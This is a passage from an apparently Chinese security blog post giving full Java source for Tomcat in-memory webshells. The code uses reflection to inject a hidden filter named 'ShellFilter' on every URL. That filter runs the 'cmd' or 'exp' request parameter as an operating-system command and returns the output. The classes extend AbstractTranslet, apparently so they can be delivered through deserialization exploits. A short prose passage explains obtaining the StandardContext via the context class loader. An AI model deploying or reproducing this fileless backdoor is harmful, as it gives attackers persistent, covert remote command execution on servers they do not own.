Tomcat_Echo_inject_Filter filter = new Tomcat_Echo_inject_Filter();
String name = "ShellFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);


FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext);

java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
}


public static ServletContext getServletContext() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
lastServicedRequestField.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
if(threadLocal!=null && threadLocal.get()!=null){
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
return servletRequest.getServletContext();
}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

//将命令执行结果写入扫描器并读取所有输入
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}

@Override
public void destroy() {

}
}

在这里插入图片描述

利用ContextClassLoader

其实这里有两种方法,一种是用request来种马,一种是获取到StandardContext后拼接上注册恶意filter的那部分实现内存马。相对来讲第二种更简单,这里采用了第二种方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package com.example.tomcat_webshell.shell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;

public class Tomcat_Echo_inject_Filter_cloader extends AbstractTranslet implements Filter {
static {
try {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
System.out.println(standardContext);
Tomcat_Echo_inject_Filter_cloader filter = new Tomcat_Echo_inject_Filter_cloader();
String name = "ShellFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);


FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext);

java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("exp");
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

//将命令执行结果写入扫描器并读取所有输入
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}

@Override
public void destroy() {

}
}

在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!